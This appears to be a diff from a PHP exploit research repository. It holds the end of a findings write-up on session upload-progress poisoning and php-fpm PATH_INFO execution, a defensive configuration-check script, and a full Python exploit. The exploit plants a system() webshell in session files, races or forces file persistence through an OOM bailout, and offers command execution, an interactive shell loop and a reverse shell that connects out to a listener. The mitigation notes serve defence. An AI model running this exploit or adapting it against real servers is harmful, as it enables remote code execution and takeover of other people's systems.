of CVE-2026-109619 slightly overstates this as "filtering"), so a `|` in the
value kills the write entirely.
Verified: POST with progress value `AAA|O:13:"ExploitCanary"...` → session file
exists with **0 bytes**. No object, no data.
**2. The key is never unserialized.** With `serialize_handler=php`, the decode
loop splits at the first `|` and unserializes only the value side
(session.c:1024-1048). The value side is always the well-formed progress array
written by `php_var_serialize` — length-prefixed, aligned. The raw attacker
bytes land in the key, which becomes a plain `$_SESSION` array key.
**3. Other serializers are aligned or escaped.**
- `php_serialize`: key passes through `php_var_serialize` escaping
(`"` → `\"`), so a smuggled `O:8:\"...` cannot parse; read-back is a single
aligned `unserialize()`.
- `php_binary`: encode skips keys longer than 127 bytes (`session.c:928`,
`continue`), decode is length-prefixed.
- `wddx`: XML, can only produce scalars/arrays.
**4. The SID cannot carry the payload into a filename.** The rfc1867 flow
skips `session.c`'s own SID validation — `PS(id) = zend_string_copy(...)`
straight from the cookie/GET/POST-form-field (session.c FILE_START handler) —
but `mod_files.c:ps_files_open()` re-validates with `php_session_valid_key()`
(`[A-Za-z0-9,-]`, length ≤ 256) before every open, and opens with `O_NOFOLLOW`.
The path is always `<save_path>/sess_<SID>` (`ps_files_path_create`), so no
traversal, no `sess_x.php`, no symlink. Verified: a dotted SID produces
"Session ID is too long or contains illegal characters" and no file.
Handler-specific corollary: the rfc1867 path hands the raw SID to whichever
save handler is configured. `mod_files` is the only built-in that validates.
Third-party handlers (phpredis, memcached) receive the SID bytes unvalidated —
whether they sanitize before building store keys is deployment-dependent and
was **not verified** here; for redis-style handlers a CRLF-capable SID is
protocol injection, which is a separate research thread.
## Part 2: what works — php-fpm consumes the file itself
The no-LFI consumer is not PHP code, it is the **request router**:
1. **The poison does not need the application.** The rfc1867 callback runs
inside the SAPI POST reader, before script dispatch. A multipart POST to a
URL whose script does not exist (fpm answers 404) still writes the poisoned
session file. Verified: POST to `/nonexistent.php` → file written. This
means *any* PHP-handled vhost URL is a valid injection endpoint.
2. **If `session.save_path` is web-served, the file is fetchable over HTTP.**
`sess_<SID>` has no extension (SID charset has no dot), so a default php-fpm
refuses it: `Access denied.` from `security.limit_extensions` (verified).
But with **`security.limit_extensions` empty** — a very common production
setting — the classic nginx `cgi.fix_pathinfo` route executes it:
GET /sessions/sess_<SID>/x.php?c=id
nginx matches `location ~ \.php$` on the URI, resolves the longest existing
prefix as the script, and fpm executes the extensionless session file with
`PATH_INFO=/x.php`.
Verified end-to-end against php-fpm 8.5.11: the session file
`upload_progress_<?php system($_GET["c"]); ?>|a:5:{...}` executed and
returned `uid=1000(...)`. Both limit_extensions states tested.
3. **Persistence vs the race.** With `session.upload_progress.cleanup=1`
(default) the file is truncated at `MULTIPART_EVENT_END`. Persistence
options:
- `cleanup=0` — file persists with `done=1`; no race needed.
- **Streaming request bodies** (Apache mod_php, nginx
`fastcgi_request_buffering off`, lighttpd, direct fpm exposure): the
write lands at `MULTIPART_EVENT_FILE_START` and the window lasts as long
as the upload is dripped. Verified: slow FCGI drip, execution request hit
during the window on the first poll.
- **Buffering stacks** (nginx default): the whole body arrives, then fpm
parses; the window is only the parse time — measured ~16 ms for a 7 MB
body. Detection may land, follow-up commands usually miss. Not reliable.
- **CVE-2026-109618 OOM bailout** — deterministic: the field flood OOMs the
parser, `zend_bailout` longjmps past `MULTIPART_EVENT_END`, cleanup never
runs, and the poisoned file persists. Requires the OOM body to fit under
`post_max_size` while exceeding `memory_limit` headroom (i.e.
`memory_limit <` flood volume `< post_max_size`). Verified: 17 MB flood
against `memory_limit=16M`, `post_max_size=64M` → worker died, file
persisted, pathinfo execution returned command output.
## Exploit
`exploit_nolfi.py` implements the chain with auto-detection:
- `--probe` classifies each candidate URL prefix: not served / served only
(source disclosure) / fully executable.
- Default mode poisons + races the upload window while polling execution
vectors (`/x.php`, `/index.php`, `/a.phar`, `/x.phtml`), then falls back to
calm execution if the file persisted.
- `--oom` switches persistence to the CVE-2026-109618 bailout (tune with
`--fields` / `--fsize`).
## Updated mitigation matrix
| Mitigation | Race | RLIMIT | /proc/fd | served-path (this) |
|---|---|---|---|---|
| PHP 8.4.27 patch alone | FAIL | FAIL | FAIL | FAIL |
| + `upload_progress=0` | OK | OK | FAIL | FAIL (poison gone, but /proc/fd-style upload temp files unaffected) |
| + `hidepid=2` on /proc | FAIL | FAIL | OK | FAIL |
| + limit_extensions=`.php .phar` | — | — | — | OK |
| + save_path outside docroot / not served | — | — | — | OK |
| Fix the LFI | OK | OK | OK | **FAIL** |
"Fix the LFI" no longer closes the bug class: the served-path chain needs no
application file-inclusion at all.
## Recommendations (additions to the existing list)
5. Set `security.limit_extensions = .php .phar` explicitly in every fpm pool
(do not leave it empty).
6. Keep `session.save_path` outside any web-served tree; audit for alias or
`location` blocks that expose it.
7. Keep `cgi.fix_pathinfo=0` where the application does not need PATH_INFO.
## Test log (local rig)
- php-fpm 8.5.11 (source build), session.save_path under a docroot served by
an nginx-equivalent gateway (static files + `location ~ \.php$` +
fix_pathinfo semantics).
- `cleanup=0` + empty limit_extensions: poison → served detection → pathinfo
exec → interactive command loop. Confirmed RCE.
- `cleanup=1` + empty limit_extensions + streaming FCGI drip: execution hit
during upload window on first poll. Confirmed RCE.
- `cleanup=1` + OOM flood (17 MB, memory_limit=16M): worker bailout, file
persisted, exec confirmed. Confirmed RCE.
- `cleanup=1` + nginx-style buffered body: ~16 ms window at 7 MB; detection
frequently succeeds, sustained command execution unreliable. Documented.
- `security.limit_extensions=.php .phar` (default): all execution attempts
blocked with "Access denied". Confirmed mitigation.
- Session deserialization injection (`|` in progress key): 0-byte file,
no unserialization. Confirmed dead end.
+56
View File
@@ -0,0 +1,56 @@
<?php
// Deployment diagnostic for the no-LFI session attack surface.
// Drop on the target, request once, then REMOVE it.
//
// Reports whether the two preconditions of the served-path chain hold:
// 1. session.save_path is inside (or aliased to) a web-served tree
// 2. security.limit_extensions is empty (fpm would execute
// extensionless session files via PATH_INFO)
header('Content-Type: text/plain');
$sp = session_save_path();
if ($sp === '') {
$sp = sys_get_temp_dir();
}
// strip the optional "N;/path" depth prefix
if (($p = strrchr($sp, ';')) !== false) {
$sp = substr($p, 1);
}
$doc = rtrim($_SERVER['DOCUMENT_ROOT'] ?? '', '/');
$real_sp = realpath($sp) ?: $sp;
$real_doc = realpath($doc) ?: $doc;
$under_doc = ($real_doc !== '' && strncmp($real_sp, $real_doc, strlen($real_doc)) === 0);
$le = ini_get('security.limit_extensions');
$sapi = php_sapi_name();
echo "sapi = {$sapi}\n";
echo "session.save_path = {$sp}\n";
echo "DOCUMENT_ROOT = {$doc}\n";
echo "save_path under docroot = " . var_export($under_doc, true) . "\n";
echo "security.limit_extensions = [" . $le . "]\n";
echo "upload_progress.enabled = " . ini_get('session.upload_progress.enabled') . "\n";
echo "upload_progress.cleanup = " . ini_get('session.upload_progress.cleanup') . "\n";
echo "memory_limit = " . ini_get('memory_limit') . "\n";
echo "post_max_size = " . ini_get('post_max_size') . "\n";
echo "open_basedir = [" . ini_get('open_basedir') . "]\n";
$verdict = array();
if (ini_get('session.upload_progress.enabled')) {
if ($under_doc) {
$verdict[] = "save_path is web-served: session files are requestable";
}
if ($sapi === 'fpm-fcgi' && trim($le) === '') {
$verdict[] = "limit_extensions empty: extensionless session files EXECUTE via PATH_INFO";
}
}
if ($verdict) {
echo "\nEXPOSED:\n";
foreach ($verdict as $v) {
echo " - {$v}\n";
}
echo "\nSee nolfi/FINDINGS.md. Set security.limit_extensions and move save_path.\n";
} else {
echo "\nNo served-path exposure detected.\n";
}
+590
View File
@@ -0,0 +1,590 @@
#!/usr/bin/env python3
"""
CVE-2026-109618 / CVE-2026-109619 — RCE WITHOUT LFI
("served save_path" chain)
Every other exploit in this repo needs an include() primitive in the
application to execute the poisoned session file. This one does not.
It turns the session upload progress write primitive into RCE using only
PHP-FPM request routing:
1. PHP_SESSION_UPLOAD_PROGRESS writes PHP code into
<save_path>/sess_<SID> during multipart parsing. This fires even on
URLs that do not exist (404), because rfc1867 processing happens in
the SAPI POST reader before script dispatch. No session_start(),
no application code involved.
2. If session.save_path lives under a web-served directory, the session
file is directly requestable over HTTP.
3. php-fpm executes the (extension-less) session file when the request
carries PATH_INFO, e.g. GET /sessions/sess_abc123/x.php
— the classic nginx cgi.fix_pathinfo routing. The only gate is
security.limit_extensions, whose compiled default (.php .phar) blocks
it but which is frequently set empty in real deployments. Verified
both ways against php-fpm 8.5 (see nolfi/FINDINGS.md).
4. session.upload_progress.cleanup=1 (default) truncates the file when
the upload finishes, so execution is raced against the upload window
with a slow multipart body. With cleanup=0 the file persists and no
race is needed.
Preconditions (all defaults unless noted):
- session.upload_progress.enabled=1
- PHP-FPM with session.save_path web-served
- security.limit_extensions empty (non-default; common in the wild)
- any PHP-handled URL on the vhost, including 404s
Usage:
python3 exploit_nolfi.py -t http://target/ --probe
python3 exploit_nolfi.py -t http://target/ --url-prefix /sessions --cmd 'id'
python3 exploit_nolfi.py -t http://target/ --url-prefix /tmp --lhost 10.0.0.1 --lport 4444
"""
import argparse
import io
import os
import re
import socket
import sys
import threading
import time
MARKER = "NOLFIMARK"
DEFAULT_URL_PREFIXES = [
"/sessions",
"/tmp",
"/var/lib/php/sessions",
"/var/lib/php/session",
"/var/lib/php5/sessions",
"/sess",
"/storage/sessions",
"/files/sessions",
]
# ---------------------------------------------------------------------------
# HTTP helpers (raw sockets, same style as the other exploits)
# ---------------------------------------------------------------------------
def _parse_url(url: str):
from urllib.parse import urlparse
p = urlparse(url)
tls = p.scheme == "https"
host = p.hostname or "127.0.0.1"
port = p.port or (443 if tls else 80)
path = p.path or "/"
if p.query:
path += "?" + p.query
return host, port, tls, path
def _connect(host, port, tls, timeout=10):
sock = socket.create_connection((host, port), timeout=timeout)
if tls:
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sock = ctx.wrap_socket(sock, server_hostname=host)
return sock
def _recv_response(sock, timeout=5):
resp = b""
sock.settimeout(timeout)
try:
while True:
chunk = sock.recv(8192)
if not chunk:
break
resp += chunk
if b"\r\n\r\n" in resp:
hdr_end = resp.index(b"\r\n\r\n") + 4
m = re.search(rb"Content-Length:\s*(\d+)", resp[:hdr_end], re.I)
if m:
cl = int(m.group(1))
while len(resp) - hdr_end < cl:
more = sock.recv(8192)
if not more:
break
resp += more
break
if b"transfer-encoding: chunked" in resp[:hdr_end].lower():
if b"\r\n0\r\n" in resp[hdr_end:]:
break
except socket.timeout:
pass
return resp
def _decode_chunked(data):
out = b""
while data:
line_end = data.find(b"\r\n")
if line_end < 0:
break
try:
n = int(data[:line_end].split(b";")[0].strip(), 16)
except ValueError:
break
if n == 0:
break
out += data[line_end + 2:line_end + 2 + n]
data = data[line_end + 2 + n + 2:]
return out
def _body_of(resp):
if b"\r\n\r\n" not in resp:
return b""
headers, body = resp.split(b"\r\n\r\n", 1)
if b"transfer-encoding: chunked" in headers.lower():
return _decode_chunked(body)
return body
def _status_of(resp):
try:
return int(resp.split(b" ")[1])
except (IndexError, ValueError):
return 0
def _get(host, port, tls, path, cookie=None, timeout=5, keepalive=False):
sock = _connect(host, port, tls)
req = b"GET " + path.encode() + b" HTTP/1.1\r\nHost: " + host.encode() + b"\r\n"
if cookie:
req += b"Cookie: " + cookie.encode() + b"\r\n"
req += b"Connection: close\r\n\r\n"
sock.sendall(req)
resp = _recv_response(sock, timeout)
sock.close()
return _status_of(resp), _body_of(resp)
# ---------------------------------------------------------------------------
# Multipart slow upload (keeps the poisoned session file on disk)
# ---------------------------------------------------------------------------
def slow_poison_upload(host, port, tls, path, sid, php_code, fill=6 << 20,
drip=0.01, result=None):
boundary = b"----NOLFI" + os.urandom(6).hex().encode()
head = (
b"--" + boundary + b"\r\n"
b'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n'
b"\r\n" + php_code + b"\r\n"
b"--" + boundary + b"\r\n"
b'Content-Disposition: form-data; name="f"; filename="a.bin"\r\n'
b"Content-Type: application/octet-stream\r\n\r\n"
)
tail = b"\r\n--" + boundary + b"--\r\n"
total = len(head) + fill + len(tail)
try:
sock = _connect(host, port, tls, timeout=60)
sock.sendall(
b"POST " + path.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Content-Type: multipart/form-data; boundary=" + boundary + b"\r\n"
b"Content-Length: " + str(total).encode() + b"\r\n"
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
b"Connection: close\r\n\r\n" + head
)
block = b"\x00" * 65000
for _ in range(fill // len(block)):
sock.sendall(block)
time.sleep(drip)
sock.sendall(tail)
_recv_response(sock, timeout=5)
sock.close()
except OSError as e:
if result is not None:
result["error"] = str(e)
def oom_poison_upload(host, port, tls, path, sid, php_code, fields=30000,
fsize=512, result=None):
"""CVE-2026-109618 OOM variant: progress + file part + field flood.
The OOM bailout longjmps past MULTIPART_EVENT_END, so cleanup never
runs and the poisoned session file persists. Requires the OOM body
to fit under post_max_size while exceeding memory_limit headroom.
"""
boundary = b"----NOLFIOOM" + os.urandom(6).hex().encode()
def field(name, value):
return (b"--" + boundary + b"\r\n"
b'Content-Disposition: form-data; name="' + name + b'"\r\n\r\n'
+ value + b"\r\n")
def file_part():
return (b"--" + boundary + b"\r\n"
b'Content-Disposition: form-data; name="f"; filename="a.bin"\r\n'
b"Content-Type: application/octet-stream\r\n\r\n"
+ b"\x00" * 2048 + b"\r\n")
def chunk(sock, data):
sock.sendall(hex(len(data))[2:].encode() + b"\r\n" + data + b"\r\n")
sent = 0
try:
sock = _connect(host, port, tls, timeout=60)
sock.sendall(
b"POST " + path.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Content-Type: multipart/form-data; boundary=" + boundary + b"\r\n"
b"Transfer-Encoding: chunked\r\n"
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
b"Connection: close\r\n\r\n"
)
chunk(sock, field(b"PHP_SESSION_UPLOAD_PROGRESS", php_code))
chunk(sock, file_part())
batch = b""
for i in range(fields):
batch += field(f"p{i:06d}".encode(), b"X" * fsize)
if len(batch) >= 256 * 1024:
chunk(sock, batch)
sent = i
batch = b""
if batch:
chunk(sock, batch)
try:
sock.sendall(b"0\r\n\r\n")
_recv_response(sock, timeout=8)
except OSError:
pass
sock.close()
except OSError as e:
if result is not None:
result["error"] = str(e)
if result is not None:
result["fields_sent"] = sent
# ---------------------------------------------------------------------------
# Payloads
# ---------------------------------------------------------------------------
def cmd_payload():
return f'<?php echo "{MARKER}:"; system($_GET["c"]); ?>'.encode()
def reverse_shell_payload(lhost, lport):
code = (
f'$s=fsockopen("{lhost}",{lport});'
f'proc_open("/bin/sh -i",array(0=>$s,1=>$s,2=>$s),$p);'
)
return f'<?php echo "{MARKER}:"; {code} ?>'.encode()
# ---------------------------------------------------------------------------
# Chain: poison -> probe served dir -> pathinfo execution
# ---------------------------------------------------------------------------
def attempt_prefix(host, port, tls, path, url_prefix, php_code, window,
fill=1 << 25, verbose=True, oom=False, fields=30000,
fsize=512):
"""One attempt against one URL prefix. Returns
("rce", sid, url, text) | ("served", sid, url, None) | None."""
sid = "".join(chr(97 + (os.urandom(1)[0] % 26)) for _ in range(8)) + \
os.urandom(12).hex()
sess_url = f"{url_prefix}/sess_{sid}"
cookie = f"PHPSESSID={sid}"
exec_vectors = ("/x.php", "/index.php", "/a.phar", "/x.phtml")
if oom:
result = {}
if verbose:
print(f" [*] OOM poisoning {sess_url} ...")
oom_poison_upload(host, port, tls, path, sid, php_code,
fields=fields, fsize=fsize, result=result)
time.sleep(1.0)
saw_static = False
try:
status, body = _get(host, port, tls, sess_url, cookie=None,
timeout=5)
if status == 200 and b"upload_progress_" in body:
saw_static = True
if verbose:
print(f" [+] {sess_url} web-served, file persisted "
f"(OOM bailout skipped cleanup)")
except OSError:
pass
if saw_static:
for path_info in exec_vectors:
try:
status, body = _get(host, port, tls, sess_url + path_info,
timeout=6)
text = body.decode(errors="replace")
if MARKER in text:
return ("rce", sid, sess_url + path_info, text)
except OSError:
continue
return ("served", sid, sess_url, None)
if verbose and result.get("error"):
print(f" [!] upload error: {result['error']}")
return None
result = {}
t = threading.Thread(target=slow_poison_upload,
args=(host, port, tls, path, sid, php_code),
kwargs={"result": result, "fill": fill}, daemon=True)
t.start()
time.sleep(0.5)
deadline = time.time() + window
saw_static = False
exec_vectors = ("/x.php", "/index.php", "/a.phar", "/x.phtml")
while time.time() < deadline:
# execution vectors first, raced against the (possibly tiny) window
for path_info in exec_vectors:
try:
status, body = _get(host, port, tls, sess_url + path_info,
timeout=3)
text = body.decode(errors="replace")
if MARKER in text:
return ("rce", sid, sess_url + path_info, text)
except OSError:
continue
# static: served-dir detection (source disclosure of the session file)
try:
status, body = _get(host, port, tls, sess_url, cookie=None,
timeout=3)
if status == 200 and b"upload_progress_" in body:
saw_static = True
if verbose:
print(f" [+] {sess_url} is web-served "
f"(session file source disclosed)")
break
except OSError:
pass
time.sleep(0.005)
t.join(timeout=3)
# post-window calm checks: streaming stacks with cleanup=0 keep the file
try:
status, body = _get(host, port, tls, sess_url, cookie=None, timeout=3)
if status == 200 and b"upload_progress_" in body:
saw_static = True
if verbose:
print(f" [+] {sess_url} is web-served (file persisted "
f"after upload: cleanup=0)")
except OSError:
pass
if saw_static:
for path_info in exec_vectors:
try:
status, body = _get(host, port, tls, sess_url + path_info,
timeout=4)
text = body.decode(errors="replace")
if MARKER in text:
return ("rce", sid, sess_url + path_info, text)
except OSError:
continue
if saw_static:
return ("served", sid, sess_url, None)
return None
def run_cmd(host, port, tls, path, url_prefix, sid, cmd, oom=False,
fields=30000, fsize=512):
"""Re-poison the same SID and execute a command during the window."""
sess_url = f"{url_prefix}/sess_{sid}"
payload = f'<?php echo "{MARKER}:"; system($_GET["c"]); ?>'.encode()
hit = {}
lock = threading.Lock()
def poll(pi):
while True:
if stop.is_set():
return
try:
status, body = _get(host, port, tls,
sess_url + pi + "?c=" + cmd.replace(" ", "+"),
timeout=6)
text = body.decode(errors="replace")
if MARKER in text:
with lock:
if "out" not in hit:
out = text.split(MARKER + ":", 1)[1]
hit["out"] = out.split(
'|a:5:{s:10:"start_time"', 1)[0]
stop.set()
return
except OSError:
continue
if oom:
result = {}
oom_poison_upload(host, port, tls, path, sid, payload,
fields=fields, fsize=fsize, result=result)
stop = threading.Event()
threads = [threading.Thread(target=poll, args=(pi,), daemon=True)
for pi in ("/x.php", "/index.php")]
for th in threads:
th.start()
for th in threads:
th.join(timeout=10)
return hit.get("out")
result = {}
for cycle in range(3 if not oom else 1):
t = threading.Thread(target=slow_poison_upload,
args=(host, port, tls, path, sid, payload),
kwargs={"result": result}, daemon=True)
t.start()
time.sleep(0.3)
stop = threading.Event()
threads = [threading.Thread(target=poll, args=(pi,), daemon=True)
for pi in ("/x.php", "/index.php", "/a.phar", "/x.phtml")]
for th in threads:
th.start()
grace = None
while True:
if stop.is_set():
break
if not t.is_alive():
if grace is None:
grace = time.time() + 1.5
elif time.time() > grace:
break
time.sleep(0.002)
stop.set()
for th in threads:
th.join(timeout=3)
if "out" in hit:
return hit["out"]
return None
# ---------------------------------------------------------------------------
# Main
# ---------------------------------------------------------------------------
def main():
p = argparse.ArgumentParser(
description="CVE-2026-109618/109619: RCE without LFI "
"(web-served session.save_path + php-fpm pathinfo)",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
%(prog)s -t http://target/ --probe
%(prog)s -t http://target/ --url-prefix /sessions --cmd 'id'
%(prog)s -t http://target/ --url-prefix /sessions --lhost 10.0.0.1 --lport 4444
%(prog)s -t http://target/ --url-prefix /sessions --cmd 'id' --window 20
""")
p.add_argument("--target", "-t", required=True,
help="Target base URL (any PHP-handled URL on the vhost, "
"404 is fine)")
p.add_argument("--url-prefix", default="",
help="URL prefix that serves session.save_path "
"(e.g. /sessions). Probes defaults if omitted")
p.add_argument("--cmd", help="Command to execute")
p.add_argument("--lhost", help="Listener IP for reverse shell")
p.add_argument("--lport", type=int, help="Listener port for reverse shell")
p.add_argument("--window", type=float, default=12.0,
help="Upload race window in seconds (default 12)")
p.add_argument("--fill", type=int, default=6, help="Upload filler size "
"in MB; must stay under the target post_max_size (default "
"6MB, PHP default post_max_size is 8M)")
p.add_argument("--probe", action="store_true",
help="Only classify the target, do not attack")
p.add_argument("--oom", action="store_true",
help="Use the CVE-2026-109618 OOM bailout for "
"persistence instead of racing the upload window "
"(requires post_max_size > OOM volume and memory "
"headroom)")
p.add_argument("--fields", type=int, default=30000,
help="OOM pressure fields (default 30000)")
p.add_argument("--fsize", type=int, default=512,
help="OOM field size in bytes (default 512)")
p.add_argument("--attempts", type=int, default=3)
args = p.parse_args()
host, port, tls, path = _parse_url(args.target)
scheme = "https" if tls else "http"
print(f"[*] RCE without LFI — served save_path + fpm pathinfo")
print(f"[*] Target: {args.target}")
prefixes = [args.url_prefix] if args.url_prefix else list(DEFAULT_URL_PREFIXES)
fill = args.fill * (1 << 20)
if args.probe:
php_code = cmd_payload()
print(f"[*] Probing {len(prefixes)} candidate URL prefixes "
f"(web-served session dir detection)")
for prefix in prefixes:
r = attempt_prefix(host, port, tls, path, prefix, php_code,
window=args.window, fill=fill, verbose=True,
oom=args.oom, fields=args.fields,
fsize=args.fsize)
if r is None:
print(f" [-] {prefix}: not served")
else:
kind, sid, url, text = r
if kind == "rce":
print(f" [++] {prefix}: EXECUTABLE — {url}")
else:
print(f" [+] {prefix}: served, not executable "
f"(limit_extensions default or non-fpm engine)")
return
if not args.cmd and not (args.lhost and args.lport):
print("[!] Specify --probe, --cmd, or --lhost/--lport")
sys.exit(1)
php_code = (cmd_payload() if args.cmd
else reverse_shell_payload(args.lhost, args.lport))
if args.oom:
print(f"[*] Mode: OOM persistence ({args.fields} x {args.fsize}B "
f"fields)")
else:
print(f"[*] Race window: {args.window}s per prefix, "
f"{len(prefixes)} prefixes")
for attempt in range(1, args.attempts + 1):
for prefix in prefixes:
print(f"[*] Attempt {attempt}/{args.attempts} "
f"against {prefix} ...")
r = attempt_prefix(host, port, tls, path, prefix, php_code,
window=args.window, fill=fill, verbose=True,
oom=args.oom, fields=args.fields,
fsize=args.fsize)
if r is None:
continue
kind, sid, url, text = r
if kind == "rce":
print(f"\n[+] RCE CONFIRMED (no LFI): {url}")
if args.cmd:
out = run_cmd(host, port, tls, path, prefix, sid,
args.cmd, oom=args.oom, fields=args.fields,
fsize=args.fsize)
print(f"[+] {args.cmd}\n{out}" if out is not None
else "[!] exec failed (race lost, retry)")
else:
print(f"[*] Reverse shell payload executed — check "
f"listener on {args.lhost}:{args.lport}")
while True:
try:
c = input("shell> ").strip()
except EOFError:
break
if not c:
continue
out = run_cmd(host, port, tls, path, prefix, sid, c,
oom=args.oom, fields=args.fields,
fsize=args.fsize)
print(out if out is not None else "[!] exec failed")
return
print(f" [+] {prefix}: served but not executable "
f"(session source disclosure only)")
print("[!] No executable prefix found. Precondition likely missing: "
"save_path not web-served, or security.limit_extensions is set.")
if __name__ == "__main__":
main()